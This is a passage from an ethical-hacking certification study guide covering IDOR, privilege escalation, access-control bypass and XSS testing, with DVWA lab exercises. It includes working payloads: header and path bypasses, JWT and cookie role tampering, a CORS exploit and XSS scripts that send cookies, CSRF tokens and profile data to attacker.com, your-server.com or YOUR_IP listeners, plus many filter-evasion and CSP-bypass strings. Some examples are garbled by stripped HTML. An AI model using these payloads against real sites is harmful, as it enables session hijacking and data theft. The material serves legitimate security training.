Some applications parse the first or last occurrence of a parameter. Sending:
`
?user_id=1042&user_id=1001
`

Might access user 1001's data if the server takes the last value, while the authorization check uses the first.

Mass Assignment / Auto-binding:
In frameworks that automatically bind request parameters to model objects (Ruby on Rails, ASP.NET MVC), submitting additional parameters that are not in the form but are valid model attributes may be accepted. If a form submits name and email but the model also has a role attribute, submitting name=Alice&email=a@b.com&role=admin might update the role if mass assignment protection is not in place.

Finding IDOR — The Methodology

IDOR discovery requires systematic enumeration and comparison. The core technique: identify every place the application exposes object identifiers, then test whether access control is enforced.

Step 1: Map all object identifiers

Browse the application thoroughly with Burp running. Look for:

  • Numeric IDs in URLs: /users/1042, /orders/88, /documents/567
  • IDs in query parameters: ?id=1042, ?order_id=88
  • IDs in POST bodies: {"user_id": 1042, "action": "view"}
  • IDs in JSON API responses (these are candidates for subsequent requests)
  • References in hidden form fields

Step 2: Create two test accounts

For proper IDOR testing, you need two accounts at the same privilege level (or sometimes different levels):

  • Account A: User A (your test account with known data)
  • Account B: User B (another test account)

Step 3: As User A, identify your object IDs

Log in as User A. Find your order ID, your profile ID, your document IDs. Note them.

Step 4: As User A, attempt to access User B's objects

Without logging out, change the ID in requests to point to User B's objects. If User A can read, modify, or delete User B's data, IDOR is confirmed.

Step 5: As User A, attempt to access admin-only objects

Try accessing IDs in ranges you would not expect to have access to. Try ID=1 (often an admin or first user). Try very low IDs (older records that might be admin-created). Try IDs from other parts of the application.

Tools:

`bash

Burp Suite Intruder — enumerate ID ranges:

1. In Burp, send a request with an ID parameter to Intruder

2. Mark the ID value as the payload position

3. Set a number payload from 1 to 10000

4. Look for responses with different sizes or status codes

5. Different size = different data = potential IDOR

Burp Suite Autorize extension:

Install from BApp Store

1. Log in as User A → configure Autorize with User B's session cookie

2. Browse as User A

3. Autorize automatically replays every request as User B

4. Flags responses where User B gets the same data as User A (access control violation)

5. Also flags where User B gets forbidden (correct behavior)

Color coding: Red = IDOR, Green = properly blocked

`


6.6.3 Horizontal vs Vertical Privilege Escalation

Horizontal Privilege Escalation

Horizontal privilege escalation occurs when a user accesses resources belonging to another user at the same privilege level. Alice (a regular user) accesses Bob's (also a regular user) data.

This is the classic IDOR scenario. Both users have the same permissions in terms of their role, but neither should access the other's data. The authorization check should verify not just "is this user authenticated and has the correct role" but "is this user the owner of this specific resource."

The authorization question: "Does this user have permission to perform this action on THIS specific resource?"

IDOR is horizontal privilege escalation. Finding another user's order, medical record, or private message by changing an ID in the URL is horizontal escalation.

Vertical Privilege Escalation

Vertical privilege escalation occurs when a user accesses resources or functions that require a higher privilege level than they have. A regular user accessing an administrator function is vertical escalation.

This is frequently caused by missing function-level authorization checks — the administrator's functions exist at accessible endpoints but do not check whether the requesting user is an administrator.

The hidden button fallacy:
The admin panel link is only shown to admins in the navigation menu. But the admin endpoints (/admin/users, /admin/config, /api/admin/delete) exist and are accessible to anyone who knows the URL or finds them through enumeration. The application enforces authorization only at the UI level, not at the server level.

Discovering hidden admin endpoints:

`bash

Directory brute force targeting admin paths:

gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 50 -x php,html,aspx,jsp,json

Targeted admin wordlist:

gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt

Look for common admin paths:

/admin
/admin/users
/admin/dashboard
/management
/manager
/api/admin
/api/v1/admin
/internal
/_admin
/panel
/cp (control panel)
/wp-admin (WordPress)
/administrator (Joomla)
`

Testing the discovered endpoints:
For each discovered endpoint, test access with:

  • No authentication (logged out)
  • Regular user authentication
  • Premium user authentication (if applicable)
  • Admin authentication (if you have credentials)

Any endpoint that a regular user should not access but does is vertical privilege escalation.

Parameter-based privilege escalation:
`

Modifying role parameters in requests:

POST /api/profile/update
{"name": "Alice", "email": "alice@example.com", "role": "admin"}

URL parameter role override:

GET /dashboard?admin=true
GET /api/user?privilege=superadmin

Hidden form field manipulation:

Find in HTML source:

Change to:

(or intercept in Burp and modify)

`


6.6.4 Access Control Bypass Techniques

Technique 1 — HTTP Method Switching

An authorization check might be implemented only for specific HTTP methods. The endpoint might block GET /admin/users for regular users but not check POST /admin/users or PUT /admin/users.

`bash

In Burp Repeater, test each HTTP method against every sensitive endpoint:

GET /admin/users → 403 Forbidden
POST /admin/users → 200 OK (vulnerability!)
PUT /admin/users → 403 Forbidden
DELETE /admin/users → 200 OK (vulnerability!)
PATCH /admin/users → 403 Forbidden
HEAD /admin/users → 200 OK (headers match a 200 response = data is there)
OPTIONS /admin/users → 200 OK (reveals allowed methods)
`

Technique 2 — Path Traversal in Access Control

Some authorization systems check the exact URL path. Variants of the path that resolve to the same resource may bypass the check:

`

Original blocked:

GET /admin/users → 403

Path variant bypasses:

GET /ADMIN/users
GET /admin/users/
GET /admin//users
GET /admin/./users
GET /%61dmin/users (URL encoded 'a')
GET /admin%2fusers (encoded slash)
GET //admin/users

Rewrite rules: some frameworks treat these identically at the backend

GET /admin;param/users (path parameter injection)
GET /admin/users?param
GET /admin/.;/users
`

Technique 3 — X-Forwarded Headers for IP Bypass

Applications that restrict admin access to specific IP addresses often check the X-Forwarded-For header — which is trivially forgeable by clients.

`

Application blocks admin for non-internal IPs

But trusts X-Forwarded-For:

GET /admin/users HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

Or try internal IP ranges:

X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1
X-Forwarded-For: 172.16.0.1
`

Technique 4 — Referrer Header Bypass

Some applications check the Referer header to ensure requests come from within the application — an access control by origin. This is trivially bypassable by adding the expected Referer:

`

Application only allows access to /admin if Referer is /admin/login:

GET /admin/dashboard HTTP/1.1
Host: target.com
Referer: https://target.com/admin/login
`

Technique 5 — Cookie/Token Manipulation

Authorization information stored in cookies or JWTs can be manipulated if improperly validated:

`

JWT payload manipulation (if signature is not validated):

Original JWT payload: {"user": "alice", "role": "user"}

Manipulated: {"user": "alice", "role": "admin"}

Cookie-based role storage (insecure design):

Original: role=user

Manipulated: role=admin

Base64 encoded role (common insecure pattern):

Original: dXNlcg== (base64 for "user")

Decode: user

Re-encode "admin": YWRtaW4=

Swap in cookie: role=YWRtaW4=

`

Technique 6 — CORS Misconfiguration Exploitation

CORS (Cross-Origin Resource Sharing) misconfigurations allow unauthorized cross-origin access to sensitive API endpoints.

`javascript
// Test if target.com reflects any Origin in CORS headers:
// Send request with custom Origin:
GET /api/sensitive-data HTTP/1.1
Host: target.com
Origin: https://attacker.com

// Response indicating misconfiguration:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

// If both are present: create a malicious page that makes authenticated
// cross-origin requests to target.com and reads the responses:
fetch('https://target.com/api/sensitive-data', {
credentials: 'include' // sends victim's cookies
}).then(r => r.json())
.then(data => {
// Exfiltrate data to attacker server
fetch('https://attacker.com/capture', {
method: 'POST',
body: JSON.stringify(data)
});
});
`


6.6.5 The Complete Authorization Testing Methodology

Before You Start — Build a Privilege Matrix

The most effective way to test authorization is systematically. Before testing, build a matrix of:

  • Roles in the application (anonymous, user, premium, admin, superadmin)
  • Resources and actions (read profile, edit profile, delete profile, view all profiles, etc.)
  • Expected access for each role (should have / should not have)

Then test each cell in the matrix: does the application actually enforce what the privilege matrix says should be enforced?

The Automated Authorization Testing Workflow with Burp

Autorize extension is the most efficient way to systematically test authorization:

`
Setup:

  1. Install Autorize from Burp BApp Store
  2. Log in as a high-privileged user (Admin) → capture and save the session headers
  3. Log in as a lower-privileged user (User) → capture and save these session headers
  4. Configure Autorize with the lower-privileged session headers
  5. Log out and log in as Admin again (or keep Admin session)

Testing:

  1. Browse the application as Admin — access all functions, all resources
  2. Autorize automatically replays every request with the User session
  3. Review Autorize's findings:
    • Red: User got same/similar response as Admin → IDOR or privilege escalation
    • Green: User got 403/401 or redirect → Access control working correctly
    • Yellow: Inconclusive (different response but unclear if authorization enforced) `

API-Specific Authorization Testing

Modern applications expose REST or GraphQL APIs that require specific authorization testing approaches.

For REST APIs:
`bash

Test all discovered endpoints with different credential levels:

First, enumerate API endpoints from:

- JS files in browser

- Burp proxy history

- API documentation (/swagger, /api-docs, /redoc, /.well-known/)

- robots.txt, sitemap.xml

Test each endpoint with:

1. No token (unauthenticated)

curl -X GET https://target.com/api/v1/users

2. Regular user token

curl -X GET https://target.com/api/v1/users \
-H "Authorization: Bearer USER_TOKEN"

3. Admin token (if available)

curl -X GET https://target.com/api/v1/users \
-H "Authorization: Bearer ADMIN_TOKEN"

4. Different user's token testing IDOR

curl -X GET https://target.com/api/v1/users/1043 \
-H "Authorization: Bearer USER_A_TOKEN"

If User A can see User B's profile → IDOR

`

For GraphQL APIs:
GraphQL requires special consideration because all queries go to a single endpoint.

`bash

Introspection (reveals all available types and fields):

curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'

Test queries that should require admin:

curl -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ allUsers { id email role passwordHash } }"}'

Tools for GraphQL security testing:

InQL (Burp extension): automated GraphQL schema analysis and attack surface mapping

GraphQL Cop: https://github.com/dolevf/graphql-cop

`

Documenting Authorization Findings Effectively

Authorization findings require careful documentation because the business impact depends on what data or functions were accessed, not just whether access control failed abstractly.

For each finding, document:

  1. The specific endpoint or resource where the finding was identified
  2. The user role that should not have access
  3. The exact HTTP request that demonstrated the bypass
  4. The HTTP response showing the unauthorized data or action
  5. The specific data or function exposed (be specific — "accessed order ID 88234 belonging to user alice@example.com")
  6. The business impact: what could a malicious actor do with this access?
  7. The reproduction steps: exact request sequence to demonstrate the finding

A clear, well-documented authorization finding is one of the most impactful items in a penetration test report because it directly demonstrates business-relevant data exposure with concrete evidence.


— Sections 6.5 and 6.6 are complete. —


Module 6 — Sections 6.7, 6.8, 6.9, and 6.10

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
XSS · CSRF · SSRF · Clickjacking · Directory Traversal · Cookie Manipulation


Table of Contents


6.7 Understanding Cross-Site Scripting (XSS) Vulnerabilities

6.7.1 Overview — What XSS Really Is and Why It Matters

The Precise Definition and the Mindset Shift

Cross-Site Scripting, universally abbreviated XSS (to avoid confusion with CSS — Cascading Style Sheets), is a class of vulnerabilities where an attacker injects malicious client-side code — almost always JavaScript — into a web page that is subsequently viewed by other users. The browser executing that page has no way to distinguish between the application's own legitimate JavaScript and the attacker's injected script. Both run with the same origin, the same trust level, and the same access to the page's DOM, cookies, and data.

Here is the mindset shift that separates average practitioners from skilled ones: XSS is not primarily an "alert box" vulnerability. The alert box — <script>alert(1)</script> — is the proof-of-concept that confirms JavaScript executes. But the actual attack is anything you can do with JavaScript running in the victim's browser context. That context is extremely powerful:

  • Read every cookie accessible to the domain (including session tokens, unless HttpOnly)
  • Make authenticated HTTP requests on behalf of the user — with their session, to their bank, to their SaaS platform, to their corporate intranet
  • Read the entire DOM — extracting form values, CSRF tokens, displayed sensitive data
  • Modify the DOM — changing what the user sees, injecting fake login forms, replacing download links with malicious ones
  • Access the browser's Web Storage (localStorage, sessionStorage) — which often contains JWT tokens
  • Use the browser as a pivot to attack internal networks via SSRF-through-XSS
  • Redirect the user to attacker-controlled pages
  • Capture keystrokes in real time
  • Take screenshots of the current page using browser APIs
  • Use the browser as a botnet node for DDoS or for making requests to other sites

The impact of XSS ranges from low (reflected XSS on a low-traffic page with no sensitive functionality) to critical (stored XSS in an admin panel that deploys the same payload to every administrator who views it, combined with CSRF token extraction to perform administrative actions). Context determines severity. One of the most important professional skills is recognizing and communicating which context makes an XSS finding critical rather than medium.

The Three Types of XSS — Not Three Variations, Three Different Architectures

The three XSS types differ fundamentally in where the payload is stored and how it reaches the victim's browser. This distinction determines persistence, attack reach, detection difficulty, and exploitation technique.

Reflected XSS: The payload is embedded in the request (typically a URL parameter) and reflected directly in the response. Not stored anywhere server-side. Requires the attacker to deliver the crafted URL to the victim. Affects one victim at a time.

Stored XSS (Persistent XSS): The payload is stored on the server (database, filesystem, cache) and served to every user who accesses the affected page. No URL delivery needed. Affects every user who views the infected content.

DOM-based XSS: The vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload — the JavaScript on the page reads from an attacker-controlled source (URL fragment, document.location, document.referrer, window.name) and writes it to a dangerous DOM sink without sanitization. The server's response may be perfectly safe — the vulnerability lives in the browser.

Understanding DOM XSS requires understanding DOM sources and sinks, which we will cover in detail.


6.7.2 Reflected XSS Attacks

How Reflected XSS Works — The Mechanism

Reflected XSS is the most basic and most commonly encountered XSS type. The attack flow is:

  1. The application receives user-controlled input (from a URL parameter, a form field, a search query)
  2. The application embeds this input directly into the HTML response without encoding it
  3. The victim's browser parses the HTML, encounters the injected script, and executes it

The "reflection" is literal — the server reflects the input back in the output. The server is acting as a delivery mechanism for the attacker's payload, using the victim's own browser as the execution environment.

A vulnerable search endpoint might look like this in PHP:

`php
<?php
// VULNERABLE: user input reflected directly into HTML
$search = $_GET['q'];
echo "<h2>Results for: $search</h2>";
?>
`

When a user searches for "laptop", the HTML output is:
`html

Results for: laptop

`

When an attacker crafts the URL https://target.com/search?q=<script>alert(1)</script>, the output becomes:
`html

Results for: alert(1)

`

The browser parses the HTML, reaches the <script> tag, and executes the JavaScript.

The Delivery Problem — Phishing as the Attack Vector

Reflected XSS requires the attacker to deliver the crafted URL to the victim. This is commonly done through:

  • Phishing emails with embedded links
  • Social media messages
  • QR codes
  • Other websites with redirect capabilities (open redirect chains)
  • Short URL services that obscure the actual URL

The trust factor is critical: because the URL begins with the victim's trusted domain (https://victim-bank.com/search?q=...), the victim may not notice anything suspicious. They trust the domain, click the link, and their own browser executes the attacker's code under the bank's origin.

Context Matters Enormously — Where is the Reflection?

The context where your input is reflected determines which characters are dangerous and what payload syntax is required. This is the most important technical concept in XSS:

HTML body context:
Input is reflected between HTML tags.
`html

Search results for: [INPUT]


Dangerous characters:
<,>,&
Basic payload:
alert(1)`

HTML attribute context:
Input is reflected inside an HTML attribute value.
`html
<input value="[INPUT]" type="text">
`

You must first close the attribute, then close the tag, then inject script:
" onmouseover="alert(1)" — adds an event handler attribute
"><script>alert(1)</script> — closes the attribute and tag, injects new element

JavaScript string context:
Input is reflected inside a JavaScript string literal.
`javascript
var searchTerm = '[INPUT]';
`

You must break out of the string first:
'; alert(1); //
This closes the string, executes the script, and comments out the remainder.

HTML attribute with JavaScript context (event handlers):
`html
<img src="x" onerror="handleError('[INPUT]')">
`

Escape the JavaScript string context:
'); alert(1); //

URL context:
Input is reflected inside a URL attribute like href or src:
`html
<a href="[INPUT]">Click here</a>
`

Use JavaScript protocol:
javascript:alert(1)

Understanding context is the difference between a tester who confirms XSS and one who can actually exploit it. If you inject <script>alert(1)</script> but the reflection is inside a JavaScript string, it will not work. If the reflection is inside an HTML attribute, you need attribute-context payloads. Recognizing context from the page source is a fundamental skill.

DOM XSS — A Completely Different Attack Architecture

DOM-based XSS requires a shift in how you think about the attack. In reflected and stored XSS, the vulnerability is that the server outputs unsanitized data into HTML. In DOM XSS, the server's output is fine. The vulnerability is in the client-side JavaScript that reads from a source and writes to a sink without sanitization.

Sources — where the JavaScript reads attacker-controlled data:

  • document.URL / document.location — current URL
  • document.location.href — full URL including fragment (#)
  • document.location.hash — the fragment identifier (after #) — never sent to server
  • document.referrer — referring page URL
  • document.cookie — cookie values
  • localStorage / sessionStorage — web storage
  • window.name — survives page navigation across origins
  • postMessage events — messages from other frames or windows

Sinks — where the JavaScript writes data and dangerous execution can occur:

  • element.innerHTML = source — most dangerous: injects arbitrary HTML including scripts
  • document.write(source) — writes raw HTML to the document
  • eval(source) — executes the source as JavaScript code directly
  • setTimeout(source, time) — executes string as JavaScript
  • setInterval(source, time) — executes string as JavaScript
  • element.src = source — if set to javascript: protocol
  • window.location = source — can navigate to javascript: URL
  • element.setAttribute('onclick', source) — adds executable event handlers

DOM XSS example:

The URL: https://target.com/page#<script>alert(1)</script>

The client-side JavaScript:
`javascript
// VULNERABLE: reads from URL fragment (never sent to server) and writes to innerHTML
document.getElementById('welcome').innerHTML = document.location.hash.substring(1);
`

Because the hash is read client-side and written to innerHTML, the server never sees the payload. Server logs show no injection. Server output is clean HTML. Yet the browser executes the attacker's script.

Why DOM XSS is harder to find:
Traditional web scanners send HTTP requests and analyze responses. Since the server's response contains no injection in DOM XSS, response-based scanning misses it completely. DOM XSS requires JavaScript execution for analysis — tools like Burp Suite's DOM Invader or DOMPurify's test suite can find these, as can manual JavaScript code review.

`javascript
// Tools and techniques for DOM XSS hunting:

// 1. Burp Suite DOM Invader (browser extension):
// Automatically instruments the DOM to detect sources and sinks
// Navigate the target application with DOM Invader active
// It highlights every source→sink flow for investigation

// 2. Manual source review — search JS files for dangerous patterns:
// These regex patterns in source code indicate potential DOM XSS sinks:
innerHTML
outerHTML
document.write
document.writeln
eval(
setTimeout(
setInterval(
location.href
location.hash
location.search
`


6.7.3 Practice — Reflected XSS Attacks

The Step-by-Step Testing Methodology

Reflected XSS testing is systematic: find inputs, understand the reflection context, craft context-appropriate payloads, confirm execution.

Step 1: Find all input reflection points

Every parameter that might be reflected must be tested:

  • URL query parameters: ?search=, ?id=, ?name=, ?message=
  • URL path segments: /user/alice where "alice" appears in the response
  • POST body parameters: form inputs reflected back on error pages
  • HTTP headers: User-Agent, Referer, X-Forwarded-For (some appear in error pages or analytics)

Step 2: Send a unique test string to identify reflection

Before injecting JavaScript, identify where and how your input appears in the HTML. Send a unique, harmless string:
`
xss123test
`

Search the page source for this string. Find every location where it appears and note the surrounding HTML context.

Step 3: Determine the context and craft the appropriate payload

Context Found Your Test String Appears In Context-Breaking Payload
Between HTML tags <p>xss123test</p> <script>alert(1)</script>
Inside double-quoted attribute value="xss123test" " onmouseover="alert(1)
Inside single-quoted attribute value='xss123test' ' onmouseover='alert(1)
Inside JavaScript string (double) var x = "xss123test"; "; alert(1); //
Inside JavaScript string (single) var x = 'xss123test'; '; alert(1); //
Inside JavaScript template literal var x = `xss123test`; ` ; alert(1);
Inside HTML href/src attribute href="xss123test" javascript:alert(1)
After ? in URL inside href href="/path?x=xss123test" &quot;><script>alert(1)</script>

Step 4: Test the payload, observe the result

Use Burp Suite Repeater to send modified requests. Observe the response in Burp's HTML Render tab. When the alert fires, XSS is confirmed.

Practicing on DVWA — Reflected XSS:

DVWA's Reflected XSS page (Low security) takes a "What's your name?" input and reflects it back.

`
Input: alert(&#39;XSS&#39;)
Result: Alert fires — XSS confirmed at Low security

Medium security adds some filtering. Test with:


High security: Read the source code to see exactly what filtering is applied,
then craft a bypass specific to that filter.
`

The Impact Demonstration — From Alert to Session Theft

An alert(1) payload is proof of concept. In a real assessment, you need to demonstrate actual impact to convey the true severity. The most impactful and clearest demonstration is session cookie theft:

`javascript
// Session theft payload — sends the victim's cookies to your server:

var img = new Image(); img.src = 'https://your-server.com/capture?cookie=' + encodeURIComponent(document.cookie);

// For HttpOnly cookies (not readable via document.cookie), demonstrate XSS impact
// by making an authenticated request and exfiltrating the response:

fetch('/api/user/profile') .then(r => r.json()) .then(data => { fetch('https://your-server.com/capture', { method: 'POST', body: JSON.stringify(data) }); });

// CSRF token theft — enables forging authenticated requests:

var req = new XMLHttpRequest(); req.open('GET', '/account/settings', true); req.onload = function() { var match = req.responseText.match(/name="csrf_token" value="([^"]+)"/); if (match) { fetch('https://your-server.com/capture?csrf=' + match[1]); } }; req.send();

`

Setting up a simple capture server on Kali:
`bash

Python HTTP listener (captures GET requests):

python3 -m http.server 8000

Ngrok for tunneling (makes your local server accessible from the internet):

ngrok http 8000

Returns a public URL like: https://abc123.ngrok.io

Your capture URL: https://abc123.ngrok.io/capture?cookie=...

Incoming cookie captures appear in ngrok's web interface at localhost:4040

`


6.7.4 Stored XSS Attacks

Why Stored XSS Is More Dangerous Than Reflected

Stored XSS (also called persistent XSS) changes the attack model fundamentally. Instead of needing to deliver a crafted URL to a specific victim, the attacker injects a payload that persists on the server and executes for every user who views the infected content — automatically, without any further attacker action.

Consider these scenarios:

Scenario 1 — Comment section XSS:
An attacker posts a comment containing a script payload on a blog with 50,000 readers. Every person who loads the blog page executes the script. The attacker's payload runs in 50,000 browsers over the next days and weeks. The attacker only acted once.

Scenario 2 — Stored XSS in an admin notification panel:
An attacker submits a support ticket containing a payload. When any administrator opens the support queue to read the ticket, the script executes in their privileged browser session. The attacker can extract the admin's CSRF token, use it to add a new administrator account, and achieve administrative access to the application — all triggered when an admin clicks "View Tickets."

Scenario 3 — Profile XSS:
An attacker stores a payload in their profile biography. Any user who views that profile executes the script. If the biography is displayed on a social platform with millions of users, the scale is massive.

The severity hierarchy: Stored XSS in an admin-visible location is almost always Critical. Stored XSS visible only to the attacker themselves is Low (they are attacking themselves). Stored XSS visible to regular users is High. The location and audience of the persistence is the primary severity determinant.

Where Stored XSS Appears — Attack Surface Mapping

Every location where user input is stored and subsequently displayed to other users is a potential stored XSS target:

  • Comment fields on blog posts, articles, tickets
  • Forum posts and replies
  • User profile fields (name, biography, location, job title)
  • Product reviews and ratings
  • Chat messages
  • Log viewers that display user activity
  • Error logs rendered in web-based admin panels
  • User-Agent and Referer headers stored in access logs
  • Upload filenames displayed in file management interfaces
  • Email addresses displayed in admin panels (if registered with a malicious address)
  • Any form of user-generated content displayed to others

The subtle attack surfaces often missed:

HTTP headers are frequently logged and displayed in admin analytics dashboards. If the admin panel shows "Recent Requests" with the User-Agent and Referer from each visitor, storing XSS in those headers provides persistent execution in every admin's browser when they view the analytics panel.

File upload attack: Upload a file with a name like "><script>alert(1)</script>.jpg. If the filename is stored in the database and displayed unsanitized in the file management interface, every user viewing that interface executes the payload.

Stored XSS vs Second-Order Injection

Second-order injection is a related concept worth understanding. In standard stored XSS, the payload is injected and executed on the same page. In second-order injection, the payload is stored safely during initial input but then incorporated into a dangerous context later — perhaps when the data is used in a different part of the application that applies different (weaker) sanitization.

For example: a username is stored with HTML entities escaped, so the profile creation page is safe. But when the username is used to generate an email ("Hello [username]," + email_body), and that email content is later displayed in the application's sent-mail viewer with different encoding settings, the stored data becomes executable.

Testing for second-order injection requires tracing how stored data flows through the application — which requires understanding the application's full functionality and data flows, not just testing input fields in isolation.


6.7.5 Practice — Stored XSS Attacks

Testing Stored XSS in DVWA

DVWA's Stored XSS module simulates a guestbook where users leave messages. The name and message are stored in the database and displayed to all visitors.

Low security test:
`
Name: Attacker
Message: alert(document.cookie)

Result: Every visitor to the guestbook page sees the cookie alert.
The message persists until the administrator clears the database.
`

Impact escalation — steal admin session:
`javascript
// In DVWA's Stored XSS (Low), inject a payload that phones home with cookies:

document.write('<img src="http://YOUR_IP:8000/steal?c='+document.cookie+'" />')

// Start your listener:
python3 -m http.server 8000

// When the admin reviews the guestbook, your listener receives:
// GET /steal?c=PHPSESSID=abc123; security=low HTTP/1.1

// Import that PHPSESSID cookie in your browser:
// You are now the admin.
`

Medium security bypass:
Medium security strips <script> tags. Use event handler payloads that do not require the script tag:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

The professional approach — BeEF hook for full browser control:
Instead of a simple alert, inject BeEF's hook URL to turn the victim's browser into a command-and-control node:

`html

`

When the victim loads the infected page, their browser connects to BeEF. You can then execute dozens of attack modules — screenshots, keylogging, credential phishing with fake dialogs, port scanning the internal network, and more.


6.7.6 XSS Evasion Techniques

The Filter Bypass Mindset

Filters that block XSS are security controls that stand between your payload and execution. Understanding how filters work — and where they fail — is essential for both penetration testing (to confirm real impact) and for defenders (to understand the limits of their controls).

The key insight: most XSS filters are blacklist-based — they block specific strings like <script> or onerror=. Blacklists are inherently limited because the HTML specification and browser behavior are extraordinarily permissive. Browsers are designed to render malformed, incomplete, and unusual HTML as gracefully as possible. This permissiveness creates thousands of ways to achieve script execution that bypass any blacklist.

Technique 1 — Case Variation

HTML tags are case-insensitive. JavaScript keywords are case-sensitive, but event handler names are not (browsers normalize them):
`html

alert(1) alert(1) alert(1)



`

Technique 2 — Encoding the Payload

Browsers decode multiple layers of encoding before executing. If filters operate on the raw input but browsers decode before rendering:

`

HTML entity encoding — browser decodes before DOM interpretation:

<script>alert(1)</script>
→ Browsers render: alert(1)

Decimal HTML entities:

<script>alert(1)</script>
→ Renders: alert(1)

Hex HTML entities:

<script>alert(1)</script>
→ Renders: alert(1)

URL encoding (for parameters):

%3Cscript%3Ealert(1)%3C%2Fscript%3E

Double URL encoding:

%253Cscript%253E
→ First decode: %3Cscript%3E
→ Second decode: </p> <h1> <a name="javascript-unicode-escapes-inside-js-string-contexts" href="#javascript-unicode-escapes-inside-js-string-contexts" class="anchor"> </a> JavaScript unicode escapes (inside JS string contexts): </h1> <p>\u003cscript\u003ealert(1)\u003c/script\u003e</p> <h1> <a name="javascript-hex-escapes" href="#javascript-hex-escapes" class="anchor"> </a> JavaScript hex escapes: </h1> <p>\x3cscript\x3ealert(1)\x3c/script\x3e<br> `<code></code></p> <h4> <a name="technique-3-alternative-tags-and-event-handlers" href="#technique-3-alternative-tags-and-event-handlers" class="anchor"> </a> Technique 3 — Alternative Tags and Event Handlers </h4> <p>When <code>&lt;script&gt;</code> is blocked, hundreds of other tags with event handlers work:</p> <p><code></code>`html</p> <!-- Image-based execution (fires when src fails to load): --> <p><img src=x onerror=alert(1)><br> <img src=x onerror="alert(1)"><br> <img src="javascript:alert(1)"></p> <!-- SVG namespace (expands available handlers): --> <p><svg onload=alert(1)><br> <svg><script>alert(1)





<br> <keygen autofocus onfocus=alert(1)></p> <!-- Interactive elements: --> <p><details open ontoggle=alert(1)><br> <details ontoggle=alert(1) open></p> <!-- Body element (if injection is in body context): --> <p><body onload=alert(1)><br> <body onscroll=alert(1)><br> <body onresize=alert(1)><br> <body onpageshow=alert(1)></p> <!-- HTML5 newer elements: --> <p><marquee onstart=alert(1)><br> <meter onmouseover=alert(1)><br> <object data=javascript:alert(1)></p> <iframe src=javascript:alert(1)> ``` #### Technique 4 — Breaking Out of Attribute Context When input is inside an attribute value: ```html <!-- Input is inside a quoted attribute: --> <input value="[INJECTION]" type="text"> <!-- Payloads that break out: --> "><script>alert(1)</script> <!-- Close quote, close tag, inject --> " onmouseover="alert(1) <!-- Add new event attribute --> " onfocus="alert(1)" autofocus=" <!-- Add focus-triggered handler --> ";<script>alert(1)</script> <!-- Semicolon for some parsers --> <!-- When quotes are filtered but the attribute value is unquoted: --> <input value=[INJECTION] type=text> → Inject: onmouseover=alert(1) <!-- Treated as new attribute --> ``` #### Technique 5 — Breaking Out of JavaScript Context ```javascript // Input is inside a JS string: var name = '[INJECTION]'; // Payloads: '; alert(1); // // Close string, execute, comment rest ';alert(1)// // Minimal whitespace \'; alert(1); // // If backslash escaping is flawed '-alert(1)-' // Arithmetic trick stays in expression // Template literal context: var name = `[INJECTION]`; // Payload: `; alert(1); // ${alert(1)} // Template literal expression injection // Inside function call: setTimeout('[INJECTION]', 1000); // Payload (becomes executable when setTimeout runs): alert(1) ``` #### Technique 6 — Whitespace and Separator Tricks ```html <!-- Extra whitespace between tag name and attributes: --> <img src=x onerror=alert(1)> <!-- Null bytes (in some parsers): --> <scr\x00ipt>alert(1)</scr\x00ipt> <!-- Tab and newline characters: --> <img src=x onerror = alert(1)> <!-- Slash between tag name and attribute: --> <img/src=x/onerror=alert(1)> ``` #### Technique 7 — JavaScript Without Parentheses or Quotes Some WAFs block `alert(` or function calls with parentheses: ```javascript // Call without parentheses using tagged template literals (ES6): alert`1` alert`XSS` // Call via various indirect methods: [1].find(alert) // Passes alert to Array.find which calls it [1].every(alert) [1].filter(alert) [1].forEach(alert) // Using throw: throw alert(1) // Chaining: location=`javascript:alert\`1\`` // Via Function constructor: Function`a${alert(1)}``` (new Function('alert(1)'))() ``` #### Technique 8 — Mutation XSS (mXSS) Mutation XSS exploits inconsistencies between how a sanitizer parses HTML and how the browser subsequently parses the same sanitized string when it is inserted into the DOM. The sanitizer sees safe input. The browser's DOM parser mutates the sanitized string during rendering, re-creating a dangerous element. This is the most sophisticated XSS bypass class and is why even mature sanitization libraries like DOMPurify have historically had mXSS bypasses. The browser's HTML parser is a complex, quirky piece of software with thousands of special cases, and sanitizers sometimes miss edge cases in parsing behavior. ```html <!-- Classic mXSS bypass (historical DOMPurify bypass pattern): --> <!-- Input that looks safe to the sanitizer but mutates in browser: --> <form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style> <img onerror=alert(1) src>"> ``` For current mXSS payloads, consult PortSwigger's XSS cheat sheet which is actively maintained and updated. #### Technique 9 — CSP Bypass Content Security Policy (CSP) is the primary defense against XSS exploitation. Even when XSS exists, a strong CSP prevents the injected script from executing or from making unauthorized requests. But CSP is frequently misconfigured in ways that allow bypass. **Bypass 1 — `unsafe-inline` present:** ``` Content-Security-Policy: script-src 'self' 'unsafe-inline' ``` `unsafe-inline` allows inline scripts entirely, rendering CSP useless against XSS. Any payload works. **Bypass 2 — `unsafe-eval` present:** ``` Content-Security-Policy: script-src 'self' 'unsafe-eval' ``` `unsafe-eval` allows `eval()`, `setTimeout(string)`, `setInterval(string)`, and `Function()`. Even if inline scripts are blocked, these vectors remain. **Bypass 3 — JSONP endpoints on whitelisted domains:** ``` Content-Security-Policy: script-src 'self' https://trusted-cdn.com ``` If `trusted-cdn.com` hosts a JSONP endpoint (`?callback=alert(1)`), it can be used to execute arbitrary JavaScript under the whitelisted origin: ```html <script src="https://trusted-cdn.com/api/data?callback=alert(1)"></script> ``` **Bypass 4 — Angular, Vue, or other framework injection via whitelisted CDN:** If the CSP whitelists a CDN that hosts Angular or Vue: ```html <script 